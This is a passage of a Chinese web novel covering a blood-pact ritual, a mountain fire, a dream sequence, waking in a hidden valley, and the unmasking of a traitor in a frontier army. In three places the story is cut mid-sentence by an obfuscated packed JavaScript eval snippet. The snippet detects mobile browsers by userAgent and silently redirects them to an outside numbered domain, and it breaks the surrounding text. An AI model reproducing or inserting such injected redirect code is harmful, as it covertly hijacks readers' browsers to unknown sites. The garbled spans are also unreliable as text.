话音刚落,晏泠音手起刀落,划开了早已愈合的手腕。鲜血涌出时,她倒抽了一口凉气,失血带来的更浓重的晕眩感缠绕上来,令她有些窒息。 一刀不够,等血液凝固了,她便会补上第二刀,随后是第三、第四……就和三年前一样。 “灯笼……” 不用她提醒,张无为早已上前解下了纸灯,连带着里面即将燃尽的偶人。晏泠音的血浇上了偶人残破的身体,几乎是一瞬间,原本矮下去的火苗忽然高高窜起,格外兴奋地燃烧起来。 血偶,已非偶术的正道,而是真正入了邪门。 “盟约已成。”张无为也割开了手,让自己的血滴进了火中。他双眸发亮,紧盯着燃起的火光,似在自语,“这还是第一次……阿洵有救了。” 晏泠音向后仰靠在廊柱上,手在发抖,身上越来越冷。她喘息着,尽力稳住虚弱的声线:“谁教你的偶术?” 以血缔结的盟约轻易不得断裂,这是术师之间不成文的定规,祖祖辈辈代代相传,张无为没必要在此时骗她。 “一位老者。”张无为说得言简意赅,“梁国的术师分为两派,多年前便已决裂,在陛下那场清洗后不论是死是活都销声匿迹,因而殿下与他们并不相识。” 晏泠音阖上了眼:“那安漼之呢?” “空口无凭,”张无为没有直接回答,“殿下要证据,我拿不出。” “知州就是证据。” 张无为笑了。 “没有那么容易的,殿下。”他的语气里带了一点自嘲,“即便这本账册拿出去,即便我今日说的所有话都公诸天下,安氏依旧不会倒台,殿下可信?” 晏泠音已经不觉得疼痛,只觉得冷。她半撑开眼皮,见火光又已暗了下去,便再次将刀刃抵上了手腕。 “东云台的案子,知州知道多少?” 灼烧的噼啪声里,晏泠音听见张无为叹了口气。真是讽刺,她想,此情此景之下,他们是相互胁迫相互利用的关系,却不知为何比平日更能交心。 “我奉劝殿下,”张无为委婉道,“别再查了。” “安氏背后还有旁人?”晏泠音强打起精神追问,“我不在乎他有多位高权重,是朝中大臣?还是……” 轰的一声,半边天被骤然映亮,燥气扑面。她和张无为同时抬头,望向不远处的乐山。今日的山路边挂满了红色灯笼,像暗夜里的红色眼睛,盘曲数十里绕上了山顶。但此刻,那些灯笼都已挣扎在火中,夜风卷过时山林低咽,反而让山火燃得更加猛烈。 “啧。”晏泠音还未收回目光,便觉手腕上传来刺痛,张无为握住了她手中的短刃,在仍淋漓不尽的伤口上补了第三刀,深可见骨。晏泠音晕得厉害,头咚的一声磕在了廊柱上,她的血愈流愈多,而张无为松开刀柄,捡起她手边的账册后退两步,冷眼俯视着她。 “我没有想到,殿下还有后招。” 乐山上藏了秘密,葛芜已同她隐晦提及。整个蔚州再没有更加合适的地方,能长久地藏下一具棺椁而不为人所察。饥肠辘辘的流民也不会将之翻出来分而食之,毕竟乐山是山匪的聚集所,是禁地,寻常百姓为了保命,都想着离它越远越好。 要中止换命,烧山是最便捷的办法。山火易起难灭,又能迅速蔓延,即便是活物都很难逃出来,更别说一具不会动的尸体。一来,用以布设邪阵的灯笼被焚毁,施术不得不被打断,二来,尽管不知道张无为将陈洵藏在了何处,但山火烧开之后,倒也无所谓具体的位置了。陈洵的尸骨若是受损,便再无起死回生的可能。 只是,乐山上除了山匪,亦有被掳去的无辜百姓,所谓山匪也并不都是恶贯满盈之人。火势若控制不好,还会波及到山脚的蔚州。晏泠音握不住刀,任它当啷掉在地下,她倚着廊柱疲惫地想,放火的会是谁? 葛芜?谢朗? ……苏觅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440045|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “张知州,”晏泠音低声道,“我并不知情。” 张无为冷笑一声:“殿下放心,阿洵不会出事的。倒是殿下……”他转过了身,只丢下一句,“我定会妥善安置。” 血偶已经燃尽,空气里还飘着奇异的血的香气。很快,她会因失血过多而死,咽气的那一刻,就是陈洵回来之时。 不知是不是受术法影响,晏泠音的头越来越晕。她在朦胧间想,烧了乐山会如何? 蔚州会生乱,整座城的秩序会被打破重组,这对城内城外的不少人而言都是良机。不破不立,那人既然敢下手,定已思虑周全,绝不会无功而返。 而张无为还要分心去管陈洵的事,从一开始便落了下风。 好一个渔翁得利的妙计。晏泠音看着张无为往院门走去,无端地有些好笑。她同他都身在局中而不自知,走着自己的路,却入了他人的网。 她怎么又一次相信了苏觅呢? 把她用性命换来的东西拱手让给那个人,她不甘心。 院墙上忽然滚下一个人影,扑通一声,四肢摊开地仰躺在地。一颗脑袋骨碌碌地滚到了张无为脚边,迫得他停了步。 晏泠音瞳孔骤缩。 火折被瞬间擦亮,张无为矮身避过凌空袭来的长剑,将手中的账册往火上递。不可,晏泠音想高声叫喊却没有力气,必须要留下账册! 火光照出了张无为阴鸷的面容。长剑停在他胸前三寸之处,却没有再进一步。张无为似是有恃无恐,沉声道:“若是再靠近,我会烧掉它。” 院墙外的护卫都被无声无息地解决了,甚至没有惊扰到院内的两人,足见来者剑术之高。他没有收剑,只是偏头看了眼晏泠音,目光里毫无情绪。 是他。 晏泠音认出来了,是几个时辰前闯入百花窟的陌生男子。但他怎么会在这里? 张无为退一步,男子便跟着进一步,剑尖始终悬在他胸前三寸之处。张无为又退了几步,坚持道:“我和殿下有约在先,你若伤我,殿下只会被千百倍地反噬,永远不得逃脱咒……” 张无为手中的火折掉了下来,嘴巴微张,一双眼睛瞪得很大,喉间嗬嗬有声。 一柄长剑将他穿胸而过。 很小的时候晏泠音就知道,血盟是术师之间最牢固的誓约,唯一的破解之法便是死亡。可极少有缔约者出手杀害另一方,因为对于蓄意破坏盟约的人而言,死亡会以更残忍的方式同时降临在他的身上。 术师自古以来便讲求诚信。维系着这种诚信的,是对天命和天罚的恐惧。 长剑被拔出时带出了滚热的喷溅的血。张无为倒在地上抽搐着,再没发出声音。男子捡起那本沾了血污的账册,提着剑缓步朝晏泠音走来。她太累了,已经睁不开眼,在陷入彻底的昏眠之前,她隐约听见男子低声道: “晏主……不过如此而已。” 60. 山楂 晏泠音又在做梦。 对部分术师而言,梦是通灵的一种方式。编织那些回溯过去、昭示未来,亦或直接与当下相关的梦境,正是他们的天赋所在。可做梦太多也不是好事,无数优秀的术师因为迷失在虚无的梦境里,再也没能醒来。 温敏曾提醒过她,无论何时都要谨记,梦是假的。 但此刻,眼前的一切都那样真实,有着鲜妍的色彩和触手可及的温度。她站在一条熙攘喧闹的街上,身边有来来往往的行人和沿街叫卖的小贩。她能嗅到热腾腾的蒸糕的香气,听见毛发亮丽的翠鸟婉转的啼鸣。从一位卖冰糖葫芦的老伯身旁走过时,她被那明亮讨喜的红色吸引,不由得回头多看了一眼。 “想吃么?”身旁的人忽然开口,“我去买。” 原来她一直和另一个人并肩走着,晏泠音感到惊讶。她向来不喜欢和陌生人靠得太近。难道这是位友人?可怪异的是,她看不清他的样子,也辨不出他的嗓音。 街上清晰鲜活的一切里,只有他被蒙上了雾气。 冰糖葫芦很快便被买来了。晏泠音怕吃酸,咬掉第一只山楂后便皱起了眉。身旁的人瞥了她一眼,闷声笑了起来。 他语气柔和,明明是在取笑,却因为声音好听,并不让人反感:“怕酸还这么馋。” 晏泠音听见“自己”在嘟哝:“明明是你不会挑,每次都买到最酸的那根。” 真是稀奇,她边说边纳闷地想,她怎么不知道自己这么会耍赖? 身旁的人闻言,又闷闷地笑了一声,笑完了,仍用那好听的嗓音道:“把糖衣吃了罢,山楂给我——我爱吃酸的。” “晏泠音”的语气忽然变了,听着颇有些生气:“你不是爱吃酸,你只是喜欢骗人。如果那天没被我发现,你还想骗我到什么时候?” “我不是有意骗你,”那人沉默片刻,声音低了下来,“我……抱歉。” 他服软服得太轻易,以至于晏泠音不好再多说什么。她手中那串酸不拉几的山楂被取走了,碎掉的冰糖还咯吱咯吱地蹦跳在齿尖。 走到街道尽头时,两人都停了步,不约而同地。晏泠音隐隐感觉到,这是要告别。 “明天,”那人偏过头来看她,问得小心翼翼,“你还来吗?” 好奇怪,晏泠音想,这明明只是一个梦而已。可那人的声音无端令她觉得忧伤,有什么沉重窒闷的东西压在她心头,像一团吸饱了水的陈年棉花。梦里没有痛觉,但晏泠音的胸口却毫无预兆地抽痛起来,疼得她脑中竟有一霎空白。 这不是属于她的情感。 “你以为谁都像你这样闲啊。”“晏泠音”还在赌气。那种骄纵的、近于无理取闹的口吻实在太过陌生,同待人冷淡、沉默寡言的惠和公主完全是两个人,“不过,今天玩得真开心。哎,不管怎么说,多谢你。” 她仰脸冲身旁的人灿烂一笑:“再见啦。” 雾气太浓了,晏泠音看得双目生痛,却依旧看不清那人的脸。只有他手上那串艳红的山楂穿透灰雾,如赤色的针狠狠扎进了她眼中。 晏泠音咳嗽起来。 原来不是雾,是烟,滚烫的烟将她埋在下面,触目即是,避无可避。太烫了,晏泠音想,她要被烧死了。 好在还有水。 触感温凉的液体在她指间流动,耳畔有潺湲轻响。她睁开眼,发现自己躺在一只小木筏上,漂在湖泊的中心。思绪还混沌着,她下意识动了动手指,将手举到眼前。左腕有几道极深的伤口,看着颇有些狰狞,但血已经止住了。 她还活着。 晏泠音猛然翻身坐起。周围是黑黝黝的陡峭岩壁,高耸入云,而她似乎身在谷底。头顶的天仍是阴沉沉的,可她没见到火光。她弄不清现在的时辰,也不知自己身在何处。周围太静了,除了风声便是水声,天地之间,仿佛只有她一个活人。 ……不对。 像是被什么牵引着一样,晏泠音垂眼望向木筏的另一端,呼吸一滞。苏觅就躺在那里,穿了一身单薄的白衣,双目紧闭。他左手搭在小腹上,右手则垂在木筏边,和方才的晏泠音一样,半边袖子都浸在湖水里,指.尖已被冻得发青。 总不至于是她还在做梦。现在的苏觅应该在乱作一团的蔚州城里四处添火,怎么会和她一起被流放到与世隔绝的谷底? 晏泠音对他还存有戒心,但见苏觅毫无醒转的迹象,而木筏正随着水浪微微颠簸,快要把他晃下去了。这片湖看着不浅,淹死一个意识不清的人绰绰有余,此刻情况未明,两个人总比一个人有办法。她这样想着,便伸出手去,把苏觅往木筏中心拽了一把。 他身上很烫。 又在发烧。从她遇到苏觅的那一日起,他就一直在生病。但今时不同往日,她手边没有药物,荒郊野岭也不可能找到大夫。 “苏觅。”晏泠音唤了他一声,又推了一下他的身子,略微抬高了声音,“醒醒。” 他像是睡着了,对她的呼唤毫无反应,面色潮红,嘴唇却被烧得干裂,苍白得可怕。 又一阵风吹来,晏泠音觉到了冷。她的衣服半干不湿,也不知是沾了湖上的水汽,还是在昏迷中淋了雨。她刚死过一次,此时求生的意志很强,本能地渴望温暖。继续待在湖上是不行的,寒气太重,对她和苏觅来说都很危险。 木筏上没有桨,她将手探进湖水,一点一点地往岸边划去。 * “还没寻到?”魏收忍了又忍,还是一拳砸上了面前的桌案,杯盘摇撼,哗啦声响成一片,“你是怎么找的人?” 屋内没人说话。几位将领刚从守城战里歇下来,饭还没吃上一口,此时又困又饿,心里正烦着,听魏收语气不好,眼中不由得都压了火。但他们也明白,此刻能发火的只有魏收。下落不明的惠和公主是他的主子,是他一路从宛京护送来的人,就这样无端消失在了蔚州,任谁都会心中焦灼。 “没见到尸首,就还有活着的希望。”谢朗对屋内紧张的气氛似无所察,只又翻了一页手上的军报,从蔚州飞来送信的鸽子就停在他手边,毫无眼力地咕咕叫着,“宅子被火烧了个干净,显然是有人想隐瞒线索,若公主真出了意外,自可不必这般大费周折。” 众人都坐着,只有魏收从进门起便站得笔直,一脸不耐。他知道谢朗说的不是全无道理,但那种口吻太过冷酷,没压下他的火,反而让他的怒气越窜越高。 “幽国已经退兵了。”魏收把字咬得很重,“泾州危机已解,将军却仍把我强留此处,只派些不能办事的人去蔚州打探消息,不知是何居心?” “幽军刚退,还没有走远,”不知是不是屋内光线暗淡的缘故,谢朗的脸色有些发暗,“随时可能发动下一场突袭,魏兄若贸然出城,怕是会落入他们的包围。况且,我留在蔚州的人也绝非无能之辈,我信她的能力。” “幽国人拦不住我。”魏收冷笑,“找了两日都毫无消息,我看你那位能人未免也太窝囊。” 宋齐想起身,却被宋贤在桌下按住了手。这场架天下人都能劝,但宋齐不行。他“抛下”晏泠音跑回泾州,魏收没把他大卸八块,已是给了极大的面子了。他不必,也不该去撞这个枪口。 宋贤偏头瞥了眼谢朗的神色,无声地叹了口气。 此前庸山一役,谢朗救出了谢初原,自己却背部中剑,受伤不轻。宋贤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449672|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次南下走茶,沿途也买了药,和不少郎中都打听过,深知谢朗如今的伤势不宜再上战场。但谢初原无法主事,整个泾州的大小事务都落在谢朗肩上,他没资格闲下来休养。近日落了雨,天气陡凉,那处剑伤本就没愈合完全,被雨水一泡,只怕又要复发。 该怪他思虑不周、调度不够及时吗? 但换做旁人处在谢朗的境地,未必能做得比他更好。他愧对魏收,只是因为在不得已铤而走险的那一步里,搁下了晏泠音。 “公主入蔚州的前一日,将军便在蔚州城外安排了一支军队,就是为了防备不测。但两日前,有人谎报军情,调大军离开了蔚州,”宋贤不只说给魏收听,也说给在座的每一位将领听,“事虽败露,可我们的人也受了牵累,遭到偷袭。有脱身回来的兵士说,偷袭者做山匪打扮,却拿着幽国特制的刀具。” 方才屋内只是安静,此刻却完全落入一片死寂。无人开口,甚至无人动弹。谢朗又不急不缓地翻了一张军报,纸页的沙啦声落在将领们耳中,不啻一声巨雷。 最先反应过来的是一个留络腮胡子的高大将领,姓凌名堪。他一推茶盏,怒目圆睁,暴喝道:“狗日的奸细!” “不止如此。”宋齐也低声开口。宋贤按住了弟弟的动作,却堵不住他的嘴,“我和陈老离开蔚州不久,就遭到了追杀。他们来者不善,且对我的剑法十分熟悉,几次拿住了我的破绽,只怕是……自己人。” 他的右耳被削掉了半片耳垂,上面的银环已不知所踪。若非极其清楚他的招式路数,绝没有盯着耳朵攻击的道理。 屋内响起了嗡嗡的低语,众人互相交换着眼色,既觉惊疑,亦觉愤怒。许久没出声的谢朗终于搁下军报,咳了两声。他动作不重,却引得满屋在一瞬间复归于寂静。 “将军可是染了风寒?”高介景上身微微前倾,语声关切,“这几日总听将军咳嗽。泾州入秋了,天凉,将军该保重身子。” 他用的是长辈关心晚辈的口吻,谢朗冲他颔首致意:“多谢高伯。许是前两日淋了雨,着了寒气,并不碍事。” 他说话间又咳了两声,除了魏收,在座者尽皆变色。 谢朗是什么人?从小就被谢初原养野了,在山林溪谷间摸爬滚打,冰冻三尺的天气里还能下河摸鱼。凭他的体魄,别说是淋雨,就是淋雪、淋冰雹,都不至于让他受一点寒气。他又素来不肯服输,若是当众露出病态,怎么可能是“不碍事”的小病? 高介景灰白的瞎眼微微颤动,望着谢朗欲言又止。 “魏兄,坐罢,此刻心急也无益。”谢朗平复了喘息,和颜悦色地对魏收道,“半个时辰后,蔚州还会有信来。若此次还是没有公主的消息,我不会再阻拦魏兄出城。但在那之前,要请你帮我一个忙。” 魏收心中狐疑,顺着谢朗的视线环视了一遍屋内诸将。 “幽军此次能够突袭成功,是因为他们手中有泾州的城防图,又摸清了巡城士兵的换防时间,提前端掉了内外的岗哨。”谢朗转动着手中的杯盏,递到唇边饮了一口,里面是北地的粗茶,“巡防安排一日一换,连各营主将都不知晓第二日的巡防布置,泄露消息的那个人,有地位,也有手段。” 凌堪涨红了脸。高介景垂首看着面前的凉茶,双唇紧抿。罗从舟后仰着靠上椅背,闭了闭眼。 “我本想等幽国彻底退兵后再处理此事,但见那人着实心急,”谢朗叹了口气,轻晃了下手中的茶盏,“我便不想等了。” 从魏收的角度,正好能看到谢朗端着的杯盏。他心中巨震,抬眼对上了谢朗毫无波澜的视线。 杯盏里黄绿色的茶水上,分明洇开了一团血色。 61. 汾川 满室寂静里,谢朗冲魏收安抚地笑了笑,仰首把茶汤饮尽了。 “魏兄原先便说,有要事须同我当面商量,今日诸位既然都在,便请一起听听罢。” 若不是见谢朗呕血,魏收早就摔帘走了。他心情复杂,对谢朗又是怨怪,又有点佩服。桌上的鸽子咕咕两声,魏收睨了它一眼,惊得它瑟缩着埋下了头。 “向幽军传递消息,应该是用的战鸽。”魏收还是没坐,抱臂靠在了墙上,“且我怀疑,那人做过不止一次。” “魏兄初来不久,怕是有所不知,”罗从舟今日身上的酒气淡了不少,说话也比醉时客气,“泾州的鸽子都怕流夜,有她在,没有一只鸟能飞出城去。” “你们,”魏收不咸不淡地讽刺,“把这么重要的事交给一只畜生来管,真是心大。” 罗从舟听出他意有所指,皱眉道:“鸽房日夜都有人看守,流夜只是最后一道屏障……你笑什么?” “我笑你们还在自欺欺人,”魏收谁也没看,微仰了头,“这两日守城守得这样狼狈,死伤如此惨重,你们却依旧被蒙在鼓里,活得糊里糊涂。” 泾州这一回胜了,是惨胜。谢朗状态不佳,此前又分了一部分兵力去守蔚州,对上来势汹汹的幽军时,并没占到好处。 “尝尝罢。”魏收将腰侧的水囊抛了过去,被罗从舟一把接住了,“里面灌的东西,是我从鸽房外面找到的。” 罗从舟拔开塞子嗅了一口,不觉微怔:“倒像是我的竹青酿。” 他还要细闻,一旁的凌堪已不耐烦再忍,扯过水囊,就着罗从舟的手喝了一口:“好酒!小罗,这不就是你藏的那坛吗?” 流夜虽然傲,性子却很谨慎,平日里与鸽子们同起同居,吃住都在鸽房,唯一的癖好就是酒。她爱偷罗从舟的酒不是秘密,而罗从舟脾气好,向来也都任她动作,从没管过。 “这算什么?”凌堪朝魏收翻了个白眼,“你是想说流夜贪酒,没看住鸽子?那鸟可是海量,连我都喝不过她!” 魏收没吭声,只盯着罗从舟看。后者还拿着水囊在嗅,脸色却慢慢发了白。 “不对,”罗从舟低声道,“这不是我的酒。”他喝了一口,随手擦掉了嘴边的酒渍,笃定道,“味道很像,但不是。” “流夜机敏,”魏收沉下声音,“若是在酒里下药,她定能闻出来,放不倒它。可一来,这坛酒是她从罗统领那儿搬来的,老相识了,很容易放松警惕;二来,坛子里的确实是酒,且是混酒,是用竹青酿掺了见君心。” 凌堪皱眉道:“北地的酒我可都喝过一遍,没听过这古怪名字。” 魏收的目光和罗从舟在半空相撞,见他面色茫然,不觉挑了挑眉:“罗统领是行家,也没听说过这种酒吗?” “何苦为难我。”罗从舟苦笑一声,塞上塞子将水囊抛了回去,“惭愧,但我是真不知晓,还请魏兄赐教。” 魏收却没立刻回答,他转头望向沉默不语的高介景:“高统领呢?” 钻进屋内的风吹动高介景耳侧的发,露出他脸上被火药灼伤的伤口,那是前两日的守城战给他留下的。 “我听说过,”在数人的注目下,高介景终于缓慢开口,“它是汾川的地方酒,家家都会酿制。二十年前汾川闹□□,人大多饿死了,活下来的也逃难去了别地,见君心的酿法随之失传,罗统领不认得也是应该的。不想我今日……还能遇见。” 听到汾川二字时,宋贤和宋齐对视了一眼,面色都变了。 “是啊。”魏收打开塞子,也仰头灌了一大口。这酒不烈,他却觉得腹中有如火烧,“我也不曾想到,还能遇见乡中故人。” 刷的一声,宋贤长剑出鞘,指在了高介景的眉心。旁人都还没反应过来,魏收也已掷了水囊,握上剑柄,移步挡住了屋门。 凌堪呆了半晌,忽然怒声喊了起来:“有什么话不能好好说?宋成言,将军面前,你怎么敢舞刀弄枪?放下!” 泾州诸将中,宋氏兄弟和罗从舟稍年轻些,凌堪和高介景则是老资历,平日也走得更近,交情不浅。凌堪为人粗豪不拘小节,脾气暴躁,记仇,但也记恩。五年前,他在探路时不慎误入了沼泽地,深陷其中,是高介景不顾自己安危将他拉了出来,险些同他一起葬身于水泽深处。 “将军,”凌堪见宋齐不动,又转身望向谢朗,眼眶发红,“我不知发生了什么,但老高在泾州这么多年,先跟着都督,其后又是将军,没有功劳也有苦劳……一定是哪里弄错了,他不是这样的人!” 他来前没来得及更衣,还穿戴着重甲,却仍艰难地朝谢朗跪了下去:“将军!” 高介景在重甲砸落的声音里身形微晃,闪着寒光的剑尖不离他眉心,也跟着一同轻轻晃动着。持剑的宋贤抬高了声音,压过了凌堪不甘的争辩:“汾川败落前,是大梁最出名的训鸟地。泾州现今用来传信的鸽子里,也有一半产自汾川。传闻他们家家户户都会酿制美酒,无论是多么凶猛的飞禽,只要喝上两口便会醉倒在地,少说也要昏迷半个时辰。” 魏收不赞同地嗯了一声,简单道:“还是说少了,流夜喝的量,本来够她昏上半天的,能醒过来不容易。” 凌堪厚重的嘴唇发着颤,已出了一身大汗。他喃喃道:“老高不是汾川人……他说过他是……” “他是。”魏收语气生硬,“我认……罢了。” 他顿了少顷,忽然转了话头。 “守城战里,高统领守南城门。”魏收朝着凌堪说话,目光却看着高介景。高介景明明也是戴甲而来,佩剑就挂在腰侧,他却没有伸手去碰,只半垂着头,整个人坐得笔直,“巧的是,幽兵将主力放在北门,却又分散兵力,带着沉重的炮车千里迢迢绕去南门,这是吃力而未必讨好的安排。” “我看过缴获的炮车,射程不远,杀伤力也有限,用于攻城未必有云梯和投石车方便,但若能带着它顺利入城,定会引得城中恐慌,致使后方大乱。”宋贤听出了魏收的意思,接着他的话道,“可幽兵就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458185|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样笃定南面防守薄弱,能够一攻即下吗?” 高介景没有抬头,也没有应答。灰白的发飘动在他额前,又在触及剑刃时被无声削落。他脸侧的伤口还没有上药,血肉模糊,看久了,显得格外触目惊心。 此情此景早已说明了什么。罗从舟面色煞白,无声长叹,凌堪跌坐在地,说不出一个字。宋齐离开坐席,俯身去扶凌堪,却被他一把甩开了。 “高统领,”宋贤厉声道,“请你回答。” 甲胄声哗啦,高介景缓缓站了起来,冲谢朗伏地而拜。一下、两下、三下。在他将要抬头时,魏收抄起桌案上的茶盏猛地掷出,阻住了他拔剑的手。 碎瓷纷飞,茶水四溅。 机会只有一次,高介景也不懊恼。他面容平和,眼角的皱纹在说话时被牵动,像冬日半凝固的水波:“我愧对都督,愧对将军,我无话可说。” “总要有个理由,”凌堪方才那一下甩得狠,宋齐的左肩又疼了起来,竟然麻了半只手臂。他垂了手,黝黑的脸上看不出痛意,“才能让你对同生共死的兄弟们下手。” 高介景只是摇头。他俯身还要再拜,却被谢朗拦住了。未出鞘的长剑抵住了他的额头,迫得他仰起头来。 “我问你,”谢朗收回了剑,又端起已然喝空的茶盏,“月前我父在庸山遇险,至今昏迷未醒,也是你做的吗?” 魏收心下一惊。他以为谢初原只是因伤卧床,未曾想竟已到了昏迷不醒的地步。他扫了眼屋内诸人的神色,发现感到震惊的并非只他一人。 谢朗谁都没有告诉。 高介景至此才变了脸色:“都督怎么会……不,将军,”他满眼愕然,“庸山之事与我无关,都督于我有大恩,我便是再鬼迷心窍,也不可能伤害都督!” “公主在白水河遇险,如今又受困蔚州,”谢朗用茶盏掩了下唇,“可与你有关?” “是我拦下了去接应公主的人,”高介景咬牙道,“也是我令蔚州城外的守军回援,但是将军,”他忽地抬高了声音,“我这样做是为了泾州。” 魏收皱起了眉。 “泾州如今内外受困,实在不堪朝廷再来插足。公主此行居心叵测,目的就是要钳制将军,甚至是谋害将军!”高介景肃然道,“公主虽是深居内宫的一介女流,却随身带着兵器……” “公主远来是客,彰示着浩荡天恩,却自来时便频遭怪事,若是传出去,往小里说,是我招待不周,怠慢了贵客。”谢朗说得很慢,“往大里说,就是抗旨。” 高介景又伏拜下去,颤声道:“公主在蔚州出事,自有张知州担着,不会连累将军,这是最后的机会!” “直到此时你还要挑拨离间,”谢朗越过茶盏看他,“是受谁指使?” 高介景执拗道:“无人指……将军!” 谢朗手中的茶盏跌得粉碎,里面没有茶水,只有色泽古怪的暗红的血。所有人都站了起来,宋贤疾走两步扶住了谢朗,惶急高声道:“快传军医!” 62. 举心 晏泠音在睡梦中觉到了冷。那不是被淋湿后黏腻的阴冷,它更细微,更飘忽,沿着她的皮肤寸寸滑过,却一触即散,没有半刻停留。 是蛇。是一条行动灵活、头脑聪慧的蛇,贴住她的身体在游走。每当她想要攥住它的身躯,便会发现它已乖巧地蜷起,在她的掌心软下身子,化作了青烟。 晏泠音睁眼前睫毛轻颤,嗅到了药香。 “殿下,”苏觅温声道,“你醒了。” 他的反应不够及时,或许是因为凝望太过专注的缘故。睁眼的一霎,晏泠音对上了他漂亮的双眸,捕捉到了其中一闪而逝的、残留的冷意。 那是杀意吗?亦或是某种更为森寒的情绪? 晏泠音原本出了薄汗。山洞里不漏风,洞口挡着藤蔓,她睡着前又生了火。此刻那火堆已被苏觅拨亮了,还被他贴心地移到了她的身边。 但在和苏觅对视的一瞬间,被烘出的薄汗尽数成了冷汗,晏泠音几乎要惊叫起来,撑坐着想要往后退。 火光明灭,苏觅眼中的冰凉尽散,没有留下一星半点。他望着晏泠音,眸光和嗓音一样柔和:“做了噩梦么?” 心跳在围拢而来的药香里逐渐平定,其中混杂着松香,那是她捡来引火的松针松果的气味。这个山洞干燥、温暖又安静,是那样和谐,以至于她疑心方才的一眼只是错觉。 这里怎么会有蛇呢? 晏泠音仰面靠上岩壁,感受着那坚硬粗糙的触感。她开口时声音是哑的,此前的一天一夜里,她只吃了几颗小小的野果:“你是何时醒的?” “半个时辰前。”苏觅观察着她的神色,抬袖想替她擦拭额间的汗,却被她偏头避过了。他的手就那样悬在半空,好一会儿才慢慢放下。 “苏公子,”晏泠音正色道,“你可知我们现下在哪里?” 找这处避风所花了她不少精力,要生火取暖,还要把昏迷的苏觅背上岸,着实没有多余的力气去四处探查。但她能隐约感觉到,自己还没有远离蔚州。附近生长着的树木花草,与她远眺乐山时所见极为相似,或许,她就在乐山山中。 “受生谷,”苏觅说得轻巧却笃定,“在乐山北面。此谷极深,又常年云雾缭绕,旁人难见真容,唯有在天气晴好时登上观诸崖,才能居高望远眺得全貌。” 晏泠音盯着他波澜不惊的眼眸看了一会儿,赞道:“公子无所不知。” “我确知殿下有许多事想问。”苏觅拨了下快要熄灭的火堆,松果在火舌舔舐下爆裂开来,整个山洞里松香浓郁,“出去走走罢?” 他的神色语气都这样镇定,便叫人时常忘记他有病在身。晏泠音坐了太久,站起时踉跄了一下,苏觅抬手虚扶,指尖滑过晏泠音的手臂,凉得透骨。他已经不烧了,只面色白得发灰,晏泠音撩开藤蔓时,见他下意识伸手挡在了眼前,以避过那遽然照进来的明亮阳光。 天放晴了。 谷内有鸟雀啁啾。浓阴蔽目,花香氤氲,走几步便能看到一嘟噜一嘟噜的野果,红得鲜艳欲滴。偶有抱着松果的松鼠蹦跳着经过,也不怕人,就那样睁着黑溜溜的小眼睛打量他们,似在好奇两人的来处。 这里没有受山火波及,更确切地说,它像是从未受过天灾人祸的影响,它静谧、安宁、与世隔绝,在无人知晓处自在生长。 “大德曰生,”苏觅轻声道,“‘受生’二字是女帝晏无怀所赐。其时干戈方止,她要以天地之名护佑万姓生生不息,这是个好名字。” 晏泠音仰首,在耀目的阳光里试图辨认出观诸崖的影子:“她做到了。” “昙花一现。”苏觅平静摇头,“不过短短十数年。她的尸骨如今就葬在这里,这是她替自己择选的墓地。” 晏泠音停了脚步。她回身望向苏觅,在他眼中却找不到谎言的痕迹:“女帝病逝后便归葬皇陵,她的尸骨怎会埋在此处?” “皇陵太冷了,”苏觅半真半假地说了句玩笑,“很多人都不喜欢睡在那里。” 晏泠音抿唇看着他,不肯放过这个话题,苏觅在她的目光里眼尾微挑:“我只是猜测,苏澹心当年愿意退兵,或许就是为了这方山谷,他和梁皇有约,要梁国交出晏无怀的尸骸,由他替晏无怀完成归葬受生谷的遗愿。” “这话奇怪,”晏泠音边继续往前走,边皱眉道,“他身在幽国王室,为何要如此大动干戈地插手梁国之事?” “殿下就没有想过,”苏觅替她拂开面前的松枝,“女帝死时还那般年轻,正当壮年,为何在太医院的记载里,连她得了什么病都写得含糊不清?” 晏泠音有片刻沉默。她早知道晏无怀死得蹊跷,十二卫被打压、玉玺下落不明就是旁证。但苏澹心背弃与梁国的盟誓,不惜在严冬时节举兵南下,又在势如破竹时遽然收兵,其动机成谜,她一直没有想透。 会是这么简单吗?倾举国之力、甚至压上了自己的性命南伐梁国,只是为了埋葬敌国帝王的尸骨吗? 未免有些太荒谬了。 “公子是怎么知道的?”晏泠音反问他,“即便是猜测,也该有些风声和影子才对。” “差事是逐风阁办的,”苏觅若有所思,“我看过阁里的录事簿。苏澹心死后数十年,他的心腹年年都会来一趟受生谷,以祭奠女帝。后来两国再度开战,逐风阁内部也生了变数,那处坟茔才慢慢荒废了。”他顿了顿,又道,“换言之,再没有人知道女帝的葬处,也没有人知道入谷和出谷的办法。” 